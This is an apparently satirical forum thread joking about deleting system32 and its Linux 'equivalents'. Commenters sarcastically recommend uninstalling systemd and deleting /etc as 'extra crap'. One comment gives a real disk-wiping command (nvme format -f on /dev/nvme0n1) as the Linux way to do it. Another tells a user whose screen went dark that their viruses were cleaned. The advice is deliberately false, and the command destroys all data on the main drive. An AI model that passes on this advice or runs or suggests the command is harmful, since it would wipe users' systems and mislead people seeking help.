Instructions unclear. Using Linux.

Wait a sec I think I found it.

I found mine in $HOME/.wine32/drive_c/windows/system32

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

[–] [email protected] 2 points 1 month ago

I made a typo in the above. If I correct it you'll be able to break what's left.

If you don't have system32, it's fine to delete one from the store

[–] [email protected] 9 points 1 month ago

Or find another computer and delete it from that.

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

It said ' Cleaning viruses from computer..." And screen went dark

[–] [email protected] 3 points 1 month ago

That's normal. That just means the viruses were cleaned from your computer.

[–] [email protected] 4 points 1 month ago (1 children)

It's the /etc folder in linux. Just extra crap you don't need.
